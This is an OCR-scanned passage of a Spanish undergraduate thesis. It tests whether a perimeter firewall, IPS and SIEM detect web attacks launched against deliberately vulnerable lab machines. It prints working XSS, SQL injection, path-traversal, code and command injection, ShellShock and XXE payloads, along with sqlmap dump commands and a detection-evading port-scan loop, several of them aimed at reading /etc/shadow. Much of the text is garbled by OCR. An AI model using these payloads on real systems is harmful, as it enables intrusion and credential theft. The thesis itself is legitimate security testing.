Gestion: Servicio: DMZ: Publicacion:
NODO / RED: 10.147.104.0 | 10.147.106.0 10.147.105.0 172.18.169.0
124 124 124 124
AV-SIEM-RCP-01 | 10.147.104.10 - - -
FW-PER-RCP-01 | 10.147.104.2 - 10.147.105.1 172.18.169.11

IPS-PER-RCP-01

10.147.104.11

10.147.106.11

10.147.105.11

VVM-SQLI-01 10.147.104.21 | 10.147.106.21 - 172'18%;?9'”:
VVMESQLIEOZ ) 16 147 104.22 | 10.147.106.22 : R
VM- 172.18.169.11;
B 0. | 10.147.104.23 | 10.147.106.23 : s
VVM-SheliShock- 172.18.169.11;
o 10.147.104.24 | 10.147.106.24 : -
VM- |
WebForPentester- | 10.147.104.25 | 10.147.106.25 : 172.18.169.11:
o1 8025
VM- |
WebForPentester- | 10.147.104.26 | 10.147.106.26 : 172.18.169.11:
o 8026

En este direccionamiento hay que tener en cuenta que la publicacion de los
diferentes servidores web vulnerables se ha realizado haciendo NATs con
sobrecarga de puertos. De tal manera que cada servidor web vulnerable ha
sido publicado cada uno en un puerto distinto.
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3.5 Disenio légico del entorno:

En este punto se presenta el diagrama de red de toda la plataforma generada. En este se puede ver como se intercomunican las
diferentes redes y donde se situan cada uno de los nodos que intervienen en el entorno:

TFG - Los sistemas de sequridad perimetral y principales vectores de ataque web

B -PER-RCE-01 TFS-FER-RCP-01

23 25 26
WM
WebFarFentpeter-01
Atacante ?
Ve -ShelBneck-01 ?
AV STEM-RCP a1 v saL-02 WYM-PEmILatities-01 vkt
10 21 22 74 23 .25 |WebFarPentester-03
25

Administrador de
la plataforma

Figura 6: arquitectura de red - diagrama de red completo.
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3.6 Prueba inicial de concepto:

Antes de pasar a explicar en detalle cada una de las pruebas realizadas se
demostrara como funciona la plataforma a nivel de deteccién. Para ello
referenciaremos los flujos de comunicacién indicados en el capitulo 3.3. En
primer lugar utilizaremos el flujo de comunicacion |, es decir, el vector de un
atacante que pasa tanto por el cortafuegos perimetral como por el detector de
intrusos. En segundo lugar haremos la misma prueba a través del flujo II.
Recordemos, que este segundo paso es a través de la red de gestion y en
consecuencia se accede a la maquina vulnerable directamente sin pasar por
ninguna medida de seguridad. Esto hara que a través del flujo | salte un evento
de seguridad y se bloquee la comunicacion mientras que a través del flujo Il se
conseguira explotar sin problemas.

El ataque que se ha elegido para esta primera demostracion es un intento de
inyeccion de cédigo conocido como XSS. A continuacion se indica los payloads
que se inyectaran:

<script>alert("Mensaje"”);</script>
Estos dos ejemplos, sentaran la base para lo que en el proyecto se considera
un ataque parado frente a un ataque satisfactorio y en consecuencia no
detectado. A continuacion se demuestra el resultado de cada prueba.

3.6.1 Intento de XSS pasando por el IPS:

Como se dijo anteriormente, este intento de inyeccion se realiza a través de
todos los dispositivos de seguridad. El payload exacto que se ha inyectado es:

http://172.18.169.11:8025/xss/example1.php?
name=<script>alert("Prueba de XSS pasando por el IPS");</script>

Como se puede ver en las capturas siguientes, la pagina no carga y se ha
detectado el ataque correctamente en el IPS:

Pagina bloqueada:



172.18.169.11

oMUS @ WEBMAIL @ SelfService @SGAc S ITSM @ ITSM-TGT @ CGPs @ soC-ncidencias “. Change

Hello hacker
© PentesterLab 2013

Figura 7: prueba de concepto, ataque de Cross Site Scripting.

EVENT DETAILS Q
DATE ALIENVAULT SENSOR INTERFACE
2016-05-05 17:57:01 GMT+2:00 av-ips [10.147.104.11] ethl
TRIGGERED SIGNATURE EVENTTYPEID  CATEGORY SUB-CATEGORY
[ fune e cfun fon for foe. | 2009714 Exploit Cross Site Scripting
NORMALIZED
EVENT
DATA SOURCE NAME PRODUCT TYPE DATA SOURCE ID
snort Intrusion Detection 1001
SOURCE ADDRESS SOURCE PORT DESTINATION ADDRESS DESTINATION PORT PROTOCOL
172.18.168.4 51092 10.147.106.25 80 TCP
UNIQUE EVENT ID# ASSETS % D PRIORITY RELIABILITY RISK
12dal1e6-b059-000c 2998 1cad01425114 -2z | [ a i m— 1]
SRC USERNAME & DOMAIN SRC HOSTNAME SRC MAC DST USERNAME & DOMAIN DST HOSTNAME DST MAC
SIEM IDM

Figura 8: prueba dé'concepfb, evento detectado.

3.6.2 Intento de XSS sin canalizar por el IPS:

En el caso contrario tenemos el ataque realizado directamente contra el
servidor vulnerable. Al no pasar por ninguna medida de seguridad se puede ver
como el ataque ha sido satisfactorio y el servidor web interpreta el codigo que
se le inyecta. El payload exacto que se ha inyectado es:

http://10.147.104.25/xss/example1.php?name=<script>alert("Prueba de

XSS sin pasar por el IPS");</script>
Ataque satisfactorio:
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(@ | 10.147.104.25/xss/example1.php?name=<script=alert("Prueba de XS5 sin pasar por el IPS");</script x ||C
. ]

DOMUS @ WEBMAIL @ SelfService @SGAc 2I1TSM @ITSM-TGT @ CGPs @ SOCIncidencias ‘W Change M

Prueba de XSS sin pasar por el IPS
.

Figura 9: prueba de concepto, ejecucion satisfactoria de XSS.
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4. Pruebas ejecutadas sobre el entorno

Como se comentd en el capitulo 2.3.2, las pruebas de intrusidon se realizaran
siguiendo una metodologia basada en OWASP pero mucho mas reducida. Por
tanto, se ejecutara en tres grandes fases consecutivas en las cuales se iran
probando las diferentes medidas de seguridad. Estas pruebas se realizaran en
el orden habitual, primero las pruebas menos intrusivas utilizadas para recopilar
informacion, hasta las que intentan vulnerar los sistemas de informacion.

4.1 Fase |: recopilacion de informacion:

Como ya se indico, en esta fase se realizaran las pruebas menos intrusivas en
los sistemas. Debido a esto, se lanzaran escaneos manuales y automaticos
ademas de pruebas de “fingerprinting”. El principal interés de estas pruebas es
el descubrimiento de servicios y versiones asociadas a estos.

4.1.1 Técnicas de descubrimiento de servicios:

Inicialmente se han lanzando pruebas de conexion manuales. Estas pruebas se
realizaron contra los servicios de administracion mas habituales. Como se
indico esta prueba pretende ser lo mas silenciosa y menos intrusiva posible con
el fin de evitar ser detectados. Se lanzaron un total de ocho intentos de
conexion contra los siguientes puertos:

— TCP 21: servicios de FTP.

— TCP 22: servicios de conexién via SSH para administracién remota.

— TCP 23: servicio de telnet (tipo administracion remota obsoleta).

— TCP 80: servicios web.

— TCP 443: servicios web seguros.

— TCP 445: servicio de carpeta compartida de Windows.

— TCP 3105: servicios de conexion via SSH para administracion remota
(puerto alternativo, muy utilizado en maquinas bastionadas).

— TCP 3389: servicio de administracion remota de Windows.

Para ello se utilizd el siguiente comando de Linux (el cual contiene paradas
aleatorias de 30 segundos para evitar detecciones) contra la IP objetivo
172.18.169.11:

foriin 21 22 23 80 443 445 3105 3389; do echo -n "Testeando puerto $i:
";nc 172.18.169.11 $i -w 2 && echo " --> Conectado” ; if [ $? -eq 1 |;
then echo " --> Cerrado - sin conexion" ; fi; random=$((RANDOM%30));
sleep $random ; done

Los resultados obtenidos han sido los siguientes:
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rperez@Daneel-R-Olivaw: ~

rperez@Daneel-f & |rperez@Daneel- 8 rperez@Daneel-f & rperez@Daneel-l ¥

cho
. done

Figura 10: escaneos manuales de servicios.

Por tanto, se han detectados abiertos el puerto 22 (SSH) y el 80 (servidor web).
4.1.2 Técnicas de “fingerprintig”:

Se procedié a aplicar las técnicas de fingerprinting sobre los puertos que
inicialmente se detectaron que estaban abiertos, es decir, contra el puerto TCP

22y el TCP 80.

Puerto TCP 22:

Figura 11: ejecucién de técnicas de fingerprinting.

Esta primera prueba ya nos dio la orientacion de que esta IP tenia expuesto el
puerto de administracion via SSH. También se dedujo de qué estabamos
hablando de un sistema basado en Linux o Unix. De hecho, era la
administracion via CLI del firewall perimetral. Este servicio seria susceptible de
realizar posteriormente una fuerza bruta contra el dispositivo.

Puerto TCP 80:
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3 mod perl/2.0.8-dev

9r519mécvfdublins; path=/
0 GMT

he, must-revalidate, post-check=0,

tml; charset=UTF-8

rperez@Daneel -R-0livaw:~5 ]

Figura 12: ejecucion de técnicas de fingerprinting.

Esta segunda prueba nos dio mucha mas informacién que la anterior. Sin haber
realizado ningun tipo de intrusion, se detectd que tenemos la siguiente
paqueteria de software instalada:

— Servidor web Apache/2.4.10 (Unix)

— OpenSSL/1.0.1j

- PHP/5.6.3

— Moddulo de apache: mod_perl/2.0.8-dev
— Perl/v5.16.3

En este caso, estabamos realizando pruebas de “fingerprint” sobre un equipo
vulnerable Linux dentro del entorno, pero no contemplado en la propuesta de
trabajo inicial. Asi que para realizar las pruebas de intrusidon posteriores nos
basaremos en los resultados que nos facilite en "nmap" de la seccién siguiente.

4.1.3 Escaneos automaticos con "nmap":

Para la ultima prueba de deteccién de servicios se utilizd "nmap". "Nmap" es
una herramienta especializada de escaneos cuyo fin es detectar los equipos
levantados y los servicios que tienen estos publicados. Esta prueba se ha
lanzado de manera muy agresiva utilizando las siguientes opciones:

e -Pn: que no realice la comprobacién de si el equipo esta activo. En
consecuencia escanea todos los puertos directamente.

e -sV: realiza pruebas adicionales con los puertos abiertos con el fin de
encontrar las versiones que tienen funcionando.

e -p8000-8100,1-100,400-500,1000-1200,9000-10000: escanea todos los
rangos de puertos puestos.

e -sS: realiza un escaneo de tupo SYN con el fin de detectar puertos
abierto TCP.
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e -sU: al habilitar esta opcion escaneara también todos los puertos UDP.

Los resultados que se obtuvieron fueron:

) at 2016-05-086 2

Open5SL/1.6.1] PHP/5.6.3 mod pef

2.16 ((Debian))

Service detection performed. Please report any incorrect results at http map.org/submit/

Figura 13: ejecucion de escaneo automatico con Nmap.

De este escaneo se pudo deducir que realmente esta IP (172.18.169.11) esta
utilizando sobrecarga de puertos para redirigir el trafico de distintos puertos
802[0-9] contra distintos sitios web. Dichos sitios, es el entorno de trabajo de
maquinas vulnerables que se ha implementado.

4.2 Fase Il: Pruebas de gestidon de la configuracion:

Durante esta fase se ira aumentando el intrusismo de las pruebas. Para ser
exactos, se procedera a realizar pruebas de fuerza bruta tanto contra servicios
como directorios. Este tipo de pruebas suelen dejar huellas mucho mas visibles
que las anteriores en los sistemas de deteccion de intrusos. Habitualmente
suelen generar alertas que los analistas de seguridad suelen analizar
cuidadosamente con el fin de conocer si realmente han sido satisfactorias.

4.2.1 Enumeracion de directorios:

Para esta primera prueba se ha utilizado una herramienta de software libre
conocida como "Wfuzz". Esta herramienta esta disefiada con el fin de realizar
fuerza bruta de aplicaciones web. Realiza multiples tipos de fuerza bruta como
son de directorios, SQL, XSS o LDAP. En nuestro caso la utilizaremos
inicialmente para encontrar recursos no vinculados como son:

— Directorios.

— Servlets.

— Scripts.

— Paginas de administracion por defecto.

— Etc.

Todas estas peticiones se pueden realizar en formato POST o GET.
Inicialmente la utilizaremos de una forma muy sencilla intentando encontrar

directorios no vinculados. Para ello ejecutaremos "wfuzz" de la siguiente
manera:

27



date; python wfuzz.py -w wordlist/general/common.txt --hc 404
http://172.18.169.11:8025/FUZZ

Dénde:

e date: imprimira la fecha de comienzo de la prueba para encontrar
posteriormente las trazas.

e wordlist/general/common.txt: es un diccionario con nombres clasicos
de directorios

e --hc 404: indica que no muestre los resultados 404 (Not Found).

e http://[172.18.169.11:8025/FUZZ: es la ruta de nuestro servidor web
vulnerable (VVM-WebForPentester-01).

Los resultados obtenidos durante esta primera prueba han sido:

ython wfuzz.py -w wordlist/general/common.t

oL
|_'L
L
N E
5L
N E
L
N E
L

Es decir, se han encontrado los 9 directorios indicados en la imagen superior
de los 950 pruebas realizadas. Tengamos en cuenta, que este tipo de ataque
puede no dejar demasiadas evidencias en los sistemas de monitorizacion pero
el servidor web si que habra recibido 941 errores de tipo 404 (Not Found)
desde la misma IP en un intervalo muy corto de tiempo.

4.2.2 Pruebas de "Directory Transversal":

Para las pruebas de "Directory Transversal" se han escogido 6 directorios con
posibles datos comprometidos en un sistema Linux. De estos, cinco se han
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escogido dentro de /etc/ y uno de ellos en /proc. Los detalles exactos de cada
una de las pruebas es el siguiente:

Fichero /etc/passwd:
Se ha seleccionado este fichero contiene el listado de usuarios en un sistema
operativo de tipo Linux. Ademas, contiene las ubicaciones de los HOME. Se ha

utilizado el siguiente comando:

wget -0 - ‘http://172.18.169.11:8025/dirtrav/example1.php?
file=../../../.1../../../etc/passwd’

Como se puede ver en la siguiente captura, la peticion no llega a responderse,
lo que quiere decir que algo intermedio nos ha bloqueado:

' Fira 15: prueba de directory trasversal - /etc/passwd.

Fichero: /etc/shadow:

Este fichero se ha elegido debido a que contiene los HASHES de las
contrasefas de cada uno de los usuarios en el sistema. Para obtenerlo se ha
ejecutado el siguiente comando:

wget -0 - 'http://172.18.169.11:8025/dirtrav/example1.php?
file=.././../../../../../etc/shadow’

Al igual que en el caso anterior, la peticion ha sido bloqueada y no llega a
completarse:

Figura 16: prueba de directory trasversal - /etc/shadow.

Fichero /etc/network/interfaces:

Este fichero contiene el listado de interfaces y por tanto, el listado de redes a
las que esta conectada nuestra maquina vulnerable. El comando utilizado para
extraerlo ha sido:

wget -0 - ‘http://172.18.169.11:8025/dirtrav/example1.php?
file=../../.././../../../etc/network/interfaces’
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Como se puede ver en la captura adjunta, en este caso las defensas no han
sido efectivas y hemos conseguido el fichero de configuracion:

iface lo inet loopback

allow-hotplug ethe
iface eth@ inet dhcp

allow-hotplug ethl
iface ethl inet dhcp

Figura 17: prueba de directory trasversal - /etc/network/interfaces.

Fichero /etc/hosts:

El cuarto fichero seleccionado es /etc/hosts. Este contiene las resoluciones
locales de nombres. Suele ser muy habitual afadir equipos a mano en este
fichero y esto nos aporta mas informacion del entorno en que se encuentra la
maquina. El comando utilizado para extraerlo ha sido:

wget -0 - 'http://172.18.169.11:8025/dirtrav/example 1.php?
file=../../../../..1../../etc/hosts’

Al igual que en el caso anterior, las medidas de seguridad han sido inefectivas:

localhost debian
localhost ip6-localhost ip6-loopback

ip6-localnet

ip6-mcastprefix

ip6-allnodes
lrouters

Figura 18: : prueba de directory trasversal - /etc/hosts.

Fichero /etc/mysql/my.cnf:

Este fichero contiene toda la informacién realativa a una base de datos de tipo
MySQL en un sistema. El comando ejecutado ha sido:

wget -O - ‘http://172.18.169.11:8025/dirtrav/example1.php?
file=../../../../../../../etc/mysql/my.cnf' | grep user -i

Y nuevamente, el ataque ha sido satisfactorio:
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cnf' | grep user -1

- "~/.my.cn -specific options.

Figura 19: prueba de directory trasversal - /etc/mysql/my.cnf.

Fichero /proc/version:

En dltimo lugar se ha decido testear con ficheros que se encuentran en /proc.
Este directorio contiene toda la informacién que se esta ejecutando en un
sistema, lo cual hace que tenga informacién muy valiosa para un atacante. Este
fichero en concreto contiene la versidon exacta del sistema operativo.
Nuevamente el comando lanzado ha sido:

wget -0 - ‘http://172.18.169.11:8025/dirtrav/example1.php?
file=../../../../../../../proc/version’

Como se puede ver, la ultima prueba ha sido satisfactoria y en consecuencia no
ha sido bloqueada:

En la seccion de resultados 5.2 se analizaran los motivos por los cuales
algunos ataques han sido detectados y bloqueados mientras que algunos
ataques han sido satisfactorios.

4.2.3 Pruebas de Fuerza bruta:

Con el fin de realizar esta prueba de fuerza bruta, se ha disefiado un pequefio
script que se ajusta a las necesidades de los test de intrusidn a realizar. Este
script se puede ejecutar con dos modalidades distintas en funcion de si se
quiere modificar el UserAgent de las peticiones. Dicho script ha sido disefiado
para realizar ataques de fuerza bruta a una autenticacion de pagina web. Los
intentos de autenticacion se realizan a través de peticiones web enviando el
usuario y la contrasefia en la URI de la peticiéon. El conjunto de usuarios
utilizado principalmente ha sido el siguiente:

— admin

— adm*
hacker
— hac*
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— root
— ro*

El conjunto de contrasefas probadas ha sido el mismo que de usuarios y
ademas se han afadido intentos aleatorios con el fin de generar multiples fallos
de autenticacion en las plataformas.

Para realizar este test, se han realizado varias pruebas. En la primera prueba
se ha ejecutado dejando el UserAgent por defecto de la aplicaciéon "Wget". Por
el contrario para la segunda se ha modificado el UserAgent para que simule el
de un navegador "Firefox" sobre un equipo "Ubuntu". La cabecera que se ha
afadido es:

--user-agent="Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:46.0)
Gecko/20100101 Firefox/46.0"

Adicionalmente, se ha adicionado un "timing" al script de 0.5 segundos entre
cada peticion. De esta manera este no sera demasiado agresivo pero si hara
una cantidad razonable de peticiones, estas seran entorno a 300-350. De este
modo el script deberia realizar el ruido suficiente para que sea detectado por un
IPS.

En las siguientes imagenes se puede ver como el script ha realizado 336
peticiones por iteracidon de las cuales cuatro han sido satisfactorias. Por tanto,
el ataque ha sido satisfactorio.

Ataque de fuerza bruta con UserAgent sin modificar:

jo_fin_de grado/TFG_MEMORIA$ bash test bruteforce.sh

-> Launching second test...

##+# Sat May 7 18:54:27 CEST 2016 - Summary:

- Trie

:: Percentage: .011 ::

ktop/Universidad/Trabajo fin de grado/TFG_MEMORIA%
Figura 21: ataque de fuerza bruta con UserAgent "wget".

Ataque de fuerza bruta con UserAgent Mozilla:
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jo_fin_de grado/TFG_MEMORIA% bash test_bruteforce.sh Yes

p/Universidad/Trabajo_fin de grado/TFG_MEMORIAS ]

Figura 22: ataque de fuerza bruta con UserAgent "Mozilla".

4.3 Fase lll: Pruebas de validacion de datos:

Esta tercera y ultima fase ha consistido principalmente en la ejecucion de los
test mas intrusivos. Estas pruebas ademas de generar alertas en los sistemas
de deteccion deberian ser bloqueadas casi en su totalidad. Esto es debido a
que todos los test tienen como finalidad comprometer alguna parte de los
sistemas de informacion. Esta fase se ha dividido en 6 sub-tareas, cada una de
estas tareas se centra en un vector de ataque muy especifico. Para la
ejecucion de todas las pruebas se han utilizado las maquinas del entorno
vulnerable.

4.3.1 Inyecciones SQL:

Las pruebas de inyeccion SQL se han dividido en dos partes. En primer lugar
las pruebas manuales (habitualmente menos ruidosas) y en segundo lugar las
pruebas con herramientas automaticas (esto se tratara en el siguiente punto).
Estas pruebas suelen generar bastantes trazas en los sistemas. En este punto
trataremos solo los test manuales. Para realizar estos test se han utilizado
principalmente las siguientes maquinas virtuales:

— VVM-WebForPentester-01 (172.18.169.11:8025)
— VVM-SQLIi-01 (172.18.169.11:8021)

A la hora de realizar las inyecciones se podra ver que algunos de los caracteres
vienen codificados en URL-Encode. Esta es una codificacion muy habitual
cuando se va a realizar este tipo de ataques web. La codificacion de los
caracteres mas habituales puede verse en el anexo 9.6. A continuacién se iran
detallando las diferentes baterias de pruebas:

Primera bateria de pruebas manuales:

Los payloads inyectados son los siguientes:
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—  http://172.18.169.11:8025/sqli/example1.php?name=root' and '1'="1

— http://172.18.169.11:8025/sqli/example1.php?name=root' OR '1'="1

— http://172.18.169.11:8025/sqli/example1.php?name=root' OR '1'='1'%23

— http://172.18.169.11:8025/sqli/example4.php?id=100-99%23

— http://172.18.169.11:8025/sqli/example8.php?order=age %20DESC
%20%23

— http://172.18.169.11:8025/sqli/example8.php?order=age” %20ASC
%20%23

Con este primer conjunto de pruebas se ha intentando probar las inyecciones
SQL mas habituales cuando existe un formulario de acceso de usuario. Como
se puede ver, las pruebas han sido satisfactorias lo que indica que la defensa
perimetral no ha conseguido bloquear los eventos:

172.18.169.11

AUS @ WEBMAIL @selfservice @®SGAc B ITsSM @ITSM-TGT @ CGPs @ SOC-Incidencias . Change Management ...

PentesterLab.com  Home

id name age
1 admin 10
2 root 30
3 userl 5

5 user2 2

Figura 23: prueba de inyeccion de cédigo SQL - 'OR '1'="1.

172.18.169.11

OoMUS @WEBMAIL @ sSelf Service @®SGAc SITSM @ITSM-TGT @CGPs @ SOC-Incidencias ‘% Change Management ...

PentesterLab.com Home

id name age

1 admin 10

Figura 24: prueba de inyeccion de cédigo SQL - 100-99%23

Segunda bateria de pruebas manuales:

Tras conseguir traspasar la defensa con los test anteriores se decidio inyectar
varios payloads con los inicios de una consulta. Estos payloads deben ser
detectados y bloqueados por el sistema aunque realmente no fuesen
maliciosos. Tras realizar la prueba, se comprobd que efectivamente estas
peticiones fueron bloqueadas. Las inyecciones ejecutadas fueron:

— http://[172.18.169.11:8025/sqli/example1.php?name=root' UNION
SELECT %23
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http://172.18.169.11:8025/sqli/example8.php?order=age%60%20ASC%20%23
http://172.18.169.11:8025/sqli/example8.php?order=age%60%20ASC%20%23

— http://172.18.169.11:8025/sqli/example1.php?name=root%27%20AND
%20SELECT%20FROM

Para finalizar los test manuales se prob6 una ultima inyeccion SQL sobre la
maquina web vulnerable especifica (VVM-SQLi-01). Esta inyeccidn si que
contenia codigo malicioso y se pudo comprobar que la accion fue bloqueada
correctamente:

— http://172.18.169.11:8021/cat.php?id=1 UNION SELECT
1,concat(login,":',password),3,4 FROM users;

4.3.2 Inyecciones con SQLMap:

Como se comenté en el punto anterior, en este capitulo se trataran las
ejecuciones que se han realizado con la herramienta SQLMap. Esta
herramienta se encarga de realizar gran cantidad de inyecciones sobre
variables vulnerables, el fin de esto es extraer los contenidos de la base de
datos de una manera mas automatizada. Para realizar esta prueba se utilizara
la maquina vulnerable siguiente:

- VVM-SQLi-02 (172.18.169.11:8022)

Esta maquina esta preparada para poder extraer la base de datos con
SQLMap. Las pruebas exactas que se realizaron son:

1. Extraer el banner de la base de datos: python sqlmap.py -u
"http://172.18.169.11:8022" --headers="X-Forwarded-For: *" —banner

2. Listar las base de datos disponibles: python sqlmap.py -u
"http://172.18.169.11:8022" --headers="X-Forwarded-For: *" —dbs

3. Listar las tablas de la base de datos "photoblog": python sqlmap.py
-u  "http://172.18.169.11:8022" --headers="X-Forwarded-For: *" -D
photoblog --tables

4. Listar el esquema de la taba "users" de la base datos "photoblog":
python sqlmap.py -u "http://172.18.169.11:8022" --headers="X-
Forwarded-For: *" -D photoblog -T users —columns

5. Extraer el contenido de la taba "users" de la base datos
"photoblog": python sqlmap.py -u ‘“http://172.18.169.11:8022"
--headers="X-Forwarded-For: *" -D photoblog -T users --dump --batch

Tras ejecutar la herramienta con todos los parametros arriba indicados, puede

verse que la extraccion de los datos ha sido correcta y se ha conseguido
realizar un "dump" de la tabla de usuarios:
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[INFO] an
[INF

sing with other tools [y/Nl N

[INFO]

rdlist.zip' (press Enter)

rd' for hash

Figura 25: inyecciones SQL con herramienta “SQLMap”.

Para ver una ejecucion completa de la herramienta, ver el anexo 9.7.

4.3.3 Inyecciones de codigo:

Para realizar las pruebas de inyeccion de cddigo se decidid elegir dos
vertientes:

Ejecucion de comandos en linea: se decidié utilizar los comandos "uname" y
"ping" para realizar los test de intrusion. Las inyecciones realizadas fuerin las
tres siguientes:

— http://172.18.169.11:8025/codeexec/example1.php?
name=hacker".system(‘'uname -a');%23

— http://172.18.169.11:8025/codeexec/example1.php?
name=hacker".system('ping -c 2 194.179.1.100'); %23

— http://172.18.169.11:8025/codeexec/example2.php?
order=id);}system(‘uname%20-a");//

Como se puede ver en la imagen siguiente, estos ataques fueron satisfactorios:

172.18.169.11

Us @WEBMAIL @selfService @SGAc B ITSM @ITSM-TGT @ CGPs @ SOC-Incidencias “ Change Management... [

Home

Linux debian 2.6.32-5-686 #1 SMP Fri May 10 08:33:48 UTC 2013 i686 (aNU.-"LinLéx Hello hackerl_iﬂx debian 2.6.32-5-686 #1 SMP Fri Ma
© PentesterLab 2013

Figura 26: inyeccién de cédigo "uname -a"
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172.18.169.11 = h*d

Wws @WEBMAIL @selfservice @SGAc 3 1TSM @ ITSM-TGT @ CGPs @ SOCIncidencias . Change Management ... [EJ subvenciones muni

com Home

PING 194.179.1.100 (194.179.1.100) 56(84) bytes of data. --- 194.1798.1.100 ping statistics --- 2 packets transmitted, 0 received, 100% packet loss, time 1008
@© PentesterLab 2013

Figura 27: inyeccion de codigo "ping -c 2 194.179.1.100".

Visualizacion de ficheros comprometidos del sistema (/etc/passwd y
letc/shadow): Se intentd visualizar el fichero de usuarios y el de contrasenas
del sistema. Al intentar invocar ambos directorios el IPS bloqueé las peticiones
unicamente del segundo fichero. Los test realizados fueron:

— http://172.18.169.11:8025/codeexec/example1.php?
name=hacker".system('cat /etc/passwd'); %23

— http://172.18.169.11:8025/codeexec/example2.php?
order=id);}system('cat%20/etc/shadow");//

En la siguiente captura puede verse el contenido del fichero /etc/passwd:

172.18.169.11 C

MUS @WEBMAIL @sSelfService @SGAc 2 ITSM @ITSM-TGT @ CGPs @ SOCncidencias % Change Management ...

Home

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:6553
/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh Ip:x:7:7:Ip:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:nev
/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34 :backup:/var/backup
/bin/sh irc:x:39:38:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:€
libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysal:x:101:103:MySQL Server..,:/var/lib/mysqgl:/bin/false sshd:x:102:65534::/var/run/sshd:/us
Server Account,,,:/var/lib/ldap:/bin/false user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash Hello hackeruser:x:1000:1000:Det
@ PentesterLab 2013

Figura 28: inyeccion de cédigo "cat /etc/passwd".
4.3.4 Inyecciones de comandos:

Con el fin de poner a prueba la seguridad perimetral ante las vulnerabilidades
de inyeccidén de comandos, se decidié:

e FEvitar la invocacion a ficheros sensibles del sistema ya que
habitualmente suelen bloquearse.

e Ejecutar mediante el enlace de comando "&&" el comando "netstat" para
ver las sesiones del sistema.

¢ Ejecutar un pequeno script para listar directorios.

Los comandos que se procedi6 a insertar exactamente fueron:

— http://172.18.169.11:8025/commandexec/example1.php?
ip=127.0.0.1%20%26%26%20netstat%20-putan
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— http://172.18.169.11:8025/commandexec/example1.php?ip=127.0.0.1 ;
foriin $(Is -la | awk '{print $9}'); do echo "Dir: $i"; Is $i/ ;done

Como puede verse, ambas ejecuciones fueron satisfactorias:

172.18.169.11:8025/commandexec/example1.php?ip=127.0.0.1 c
. ]

Us @WEBMAIL @ selfService @SGAc 3 ITSM @ITSM-TGT @ CGPs @ SOC-ncidencias “ Change Management .

Figura 29: inyeccién de comandos "&& netstat -putan”.

172.18.169.11 C
L]

OMUS @WEBMAIL @ SelfService @SGAC 3 ITSM @ITSM-TGT @ CGPs @ SOC-ncidencias & Change

Home

Figura 30: inyecciéon de comandos, script en linea.
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En udltimo lugar se probd la ejecuciéon de un ShellShock sobre una maquina
especifica para esto:

— VVM-ShellShock-01 (172.18.169.11:8024)
La ejecucidon que se realizd y se bloqued por el IPS fué la siguiente:

echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$
(</etc/hosts)\\nHost:  vulnerable\r\nConnection: close\r\n\r\n” | nc
172.18.169.11 8024

4.3.5 Inyecciones de XML:

Este tipo de vector ataque es practicamente un derivado de las inyecciones
SQL habituales con la excepcion de que en ocasiones se puede referenciar a
ficheros del sistema. Para probar el IPS se ha decidido realizar las siguientes
inyecciones:

— http://172.18.169.11:8025/xml/example1.php?xmI=<!DOCTYPE test [<!
ENTITY x SYSTEM "file:///letc/hosts">]><test>%26x;</test>

— http://[172.18.169.11:8025/xml/example2.php?name=hacker' or 1=1]%00

—  http://172.18.169.11:8025/xml/example2.php?name=hacker'%20or
%201=1]/child::node()%00

—  http://172.18.169.11:8025/xml/example2.php?name=hacker'%20or
%201=1]/parent::*/child::node()%00

Coémo se puede ver, en el primer caso se intenta referenciar un fichero del
sistema con el fin de acceder a informacion sensible. En los payloads
siguientes se realizaron inyecciones de codigo XML (consultas de XPATH) con
el fin de obtener los datos en la base de datos remota. Como se muestra en las
imagenes siguientes, todos los ataques fueron satisfactorios y en consecuencia
los sistemas remotos fueron comprometidos:

172.18.169.11 ¥
. ]

1Us @WEBMAIL @ sSelfService @SGAc SITSM @ ITSM-TGT @ CGPs @ soCIncidencias “ Change Management... [ subvenciones mu

PentesterLab.com Home

Hello 127.0.0.1 localhost debian ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters
© PentesterLab 2013

Figura 31: inyeccion de XML "file:/lletc/hosts".
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172.18.1659.11
L]

OMUS @ WEBMAIL @ sSelfService @SGAc B ITSM @ ITSM-TGT @ CGPs & SOC-Ir

PentesterLab.com Home

hackeradmin
' PentesterLab 2013

Figura 32: inyecciéon de XML (visualizacion de nodos hijos).

172.18.168.11
A

MUs @ WEBMAIL @& selfService @ SGAc B ITSM @ ITSM-TGT & CGPs @ SOC-Incidencias

PeniesierLab.com Home

hackerHello hackerpentesterlabadminHello admins3cr3tP4sswird
. ]
© PentesterLab 2013

Figura 33: inyeccion de XML (visualizacion de nodos hijos 2).

4.3.6 Cross Site Scripting:

Las ultimas pruebas de la fase lll consistian en las inyecciones de codigo para
probar las vulnerabilidades de Cross Site Scripting. Al igual que en los test
anteriores se realizaron multiples pruebas. La mayor diferencia es que en este
caso casi todas las pruebas fueron detectadas y bloqueadas. Unicamente dos
de los test tuvieron éxito. Los payloads insertados fueron:

— http://172.18.169.11:8025/xss/example1.php?
name=<script>alert(1);</script>

— http://172.18.169.11:8025/xss/example2.php?
name=<sCript>alert(1);</sCript>

— http://172.18.169.11:8025/xss/example3.php?
name=Pentest<script>alert(1);</sCript>erLab

— http://172.18.169.11:8025/xss/example3.php?
name=<<SCRIPT>alert("XSS");//<</SCRIPT>

— http://172.18.169.11:8025/xss/example4.php?name=<img src='zzzz'
onerror="alert(1)' />

—  http://172.18.169.11:8025/xss/example4.php?name=<IMG SRC=/
onerror="alert(String.fromCharCode(88,83,83))"></img>

De estos, los payloads “onerror” son lo que consiguieron vulnerar el sistema:
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172.18.169.11:8025/xss/exampled.php?name=<img src="zzzz' onerror="alert(1)" /> X
L

